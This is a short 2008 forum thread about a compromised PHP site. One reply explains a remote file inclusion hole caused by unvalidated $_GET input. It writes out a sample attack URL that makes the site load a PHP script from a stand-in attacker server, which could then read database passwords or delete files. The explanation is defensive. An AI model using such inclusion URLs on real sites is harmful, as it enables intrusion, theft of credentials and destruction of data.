unfortunately there is no

akopayan — Mon, 28 Jan 2008 14:17:00 +0000

unfortunately there is no unique secure thing to procect themselves from the hackers.

I think it can be if the

knorr — Tue, 22 Jan 2008 15:35:42 +0000

I think it can be if the hacker is experienced enough.

The way you have it set up,

pr0gr4mm3r — Mon, 21 Jan 2008 15:05:10 +0000

The way you have it set up, yes, it is possible to do some malicious things. I don't think that specific log entry was the culprit. I think your site was a victim of remote code execution.

The problem is that you're assuming that the user input is going to be valid, so you don't verify it. That $_GET input is actually easily changeable. If I had to get into a site that's setup like that, I would put a malicious PHP script on my server, let's say at http://www.example.com/bad/script.php. Then, I would go to your website and call up http://yoursite.com/index.php?p=http://www.example.com/bad/script.php

The PHP script that's being loaded from my server, could have any dangerous command that could scan your PHP code for database passwords or simply (but devastatingly) delete all your files.